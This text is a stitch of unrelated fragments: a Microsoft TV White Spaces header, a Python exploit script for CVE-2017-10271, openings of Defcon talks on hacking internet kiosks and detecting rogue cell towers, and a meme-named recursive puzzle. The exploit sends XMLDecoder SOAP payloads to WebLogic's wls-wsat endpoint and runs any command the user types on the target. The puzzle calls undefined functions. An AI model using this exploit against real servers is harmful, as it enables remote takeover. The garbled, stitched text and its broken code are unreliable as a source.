Phillips Microsoft TV White Spaces Development Platform Version 1 Microsoft Microsoft TV White Spaces Development Platform Microsoft Microsoft TV White Spaces Development Platform Microsoft Corporation Srihari Narlanka One Microsoft Way Redmond, WA 98052 (425) 703-8661 sriharin@microsoft.com  2007 Microsoft Corporation. Al


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from __future__ import print_function from builtins import input import requests import sys url_in = sys.argv[1] payload_url = url_in + "/wls-wsat/CoordinatorPortType" payload_header = {'content-type': 'text/xml'} def payload_command (command_in): html_escape_table = { "&": "&", '"': """, "'": "'", ">": ">", "<": "<", } command_filtered = "<string>"+"".join(html_escape_table.get(c, c) for c in command_in)+"</string>" payload_1 = "<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\"> \n" \ " <soapenv:Header> " \ " <work:WorkContext xmlns:work=\"http://bea.com/2004/06/soap/workarea/\"> \n" \ " <java version=\"1.8.0_151\" class=\"java.beans.XMLDecoder\"> \n" \ " <void class=\"java.lang.ProcessBuilder\"> \n" \ " <array class=\"java.lang.String\" length=\"3\">" \ " <void index = \"0\"> " \ " <string>cmd</string> " \ " </void> " \ " <void index = \"1\"> " \ " <string>/c</string> " \ " </void> " \ " <void index = \"2\"> " \ + command_filtered + \ " </void> " \ " </array>" \ " <void method=\"start\"/>" \ " </void>" \ " </java>" \ " </work:WorkContext>" \ " </soapenv:Header>" \ " <soapenv:Body/>" \ "</soapenv:Envelope>" return payload_1 def do_post(command_in): result = requests.post(payload_url, payload_command(command_in ),headers = payload_header) if result.status_code == 500: print("Command Executed \n") else: print("Something Went Wrong \n") print("***************************************************** \n" \ "**************** Coded By 1337g ****************** \n" \ "* CVE-2017-10271 Blind Remote Command Execute EXP * \n" \ "***************************************************** \n") while 1: command_in = input("Eneter your command here: ") if command_in == "exit" : exit(0) do_post(command_in)


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Hacking Internet Kiosks Paul Craig Defcon 16  Las Vegas  Who am I?  Paul Craig  Principal Security Consultant.  Security-Assessment.com, Auckland, NEW ZEALAND!  Application Penetration Tester.  Devoted Hacker  Shameless Alcoholic  Email: paul.craig@security-assessment.com  www: http://www.security-assessment.com Overview  Kiosks 101  What is an Internet Kiosk.  Kiosk Software Security Model.  Hacking Internet Kiosks  Vulnerabilities in the Kiosk Security Model.  Kiosk Hacking Techniques.  Tool Release: iKAT : interactive Kiosk Attack Tool.  iKAT Officially Released at Defcon 16!  Hack any internet Kiosk in seconds.  Live Demos: Hacking Internet Kiosks with iKAT. Overview What Is An Internet Kiosk  16 Months Ago I Was Sitting in an Airport.  8 hour stop over in Hong Kong.  Queue of 3-4 people waiting to use an Internet Kiosk.  Damn, that internet kiosk sure is popular  I wonder if I could hack it. Lemon party the airport.?  Why do I never hear about new methods of Kiosk hacking?  Kiosks are popular, but rarely appear in security publications.  Popularity + Poor Security Visibility = Good Attack Target  New Security Research Goal:  Find Every Possible Method Of Hacking an Internet Kiosk.  Become the Kiosk of Internet Kiosk Hacking! What Is An Internet Kiosk  Kiosks are Real Popular.  Internet Kiosks Found in : Airports, Train stations, Libraries, DVD Rental Stores, Corporate Building Lobbies, Convenience Stores, Post Office, Cafés. What Is An Internet Kiosk  Initial Kiosk Observations:  Hardware:  Kiosks installed in a custom hard-shell case.  Lack of physical access to the computer case.  Input devices restricted (Floppy/DVD/USB/FireWire inaccessible).  Kiosk is securely bolted to the ground, padlocked.  Machine/Cash Box access through Abloy lock. What Is An Internet Kiosk  Software.  Majority of Kiosks run commercial Kiosk software on Windows.  Linux based Kiosks exist, but Windows is more popular.  44 different commercial Kiosk products on the market.  Marketed as


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from math import sqrt def fail(memes, calcium): dank = True if calcium < memes: if memes % calcium == 0: dank = False else: wew = fail(memes, calcium + 1) dank = wew return dank def epicfail(memes): if memes > 1: if dank(memes, 2): return 1 + bill(memes - 1) else: return such(memes - 1) return 0 def dootdoot(memes, seals): if seals <= memes: if seals == 0: return 1 else: if seals == memes: return 1 else: return dootdoot(memes - 1, seals - 1) + dootdoot(memes - 1, seals) def such(memes): wow = dootdoot(memes, 5) if wow % 7 == 0: wew = bill(memes - 1) wow += 1 else: wew = epicfail(memes - 1) wow += wew return wow def brotherman(memes): hues = 0 if memes != 0: if memes < 3: return 1 else: wew = brotherman(memes - 1) hues = wew wew = brotherman(memes - 2) hues += wew return hues % 987654321 def bill(memes): wow = fibonacci_mod_987654321(memes) if wow % 3 == 0: wew = such(memes - 1) wow += 1 else: wew = epicfail(memes - 1) wow += wew return wow def me(): memes = 13379447 wew = epicfail(memes) print(wew) me()


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Discovering and Triangulating Rogue Cell Towers Eric Escobar, PE Security Engineer Reddit: jaycrew A bit about me:  Started off in Civil Engineering (MS, PE)  Always loved computers  Nerded out on all things wireless  Licensed HAM  I love to automate things  Chicken coop  Sprinklers  Caught the DEF CON bug  Wireless CTF A bit about what I do:  Security Engineer for Barracuda Networks  Incident Response  Pentesting  Red Team, Blue Team  Social Engineering  Phishing Campaigns  Bug bounty  Infrastructure scanning  Product team relations  2FA, IPAM Heres what we are going to cover:  What is a rogue cell tower?  Why should you care about rogue cell towers?  How can you detect a rogue cell tower?  How do you find a rogue cell tower?  How do you build a detector at home?  Youve detected a rogue tower now what? What is a rogue cell tower?  A device created (or purchased) by companies, governments or hackers that has the ability to trick your phone into thinking its a real cell phone tower.  Also known as IMSI catchers, interceptors, cell-site simulators, Stingrays, and probably a few more.  Rogue cell towers have the ability to collect information about you indirectly through metadata (call length, dialed numbers)  In some conditions can collect content of messages, calls, and data. How are cell simulators used today? In the United States:  IMSI-catchers are used by US law enforcement agencies to help locate, track, and collect data on suspects.  ACLU has identified 66 agencies and 24 states that own stingrays.  Used to monitor demonstrations in the US  Used in Chicago political protests  IMSI Catcher Counter-Surveillance Freddy Martinez  Its possible to make an IMSI-catcher at home  DEFCON 18: Practical Cellphone Spying - Chris Paget How are cell simulators used today? Further reading:  EFF.org  Cell-site simulator FAQ  ACLU  Stingray Tracking Devices: Whos Got Them How are cell simulators used today? Abroad:  Reported use in Ireland, UK, China, Germany, Norway, South Afri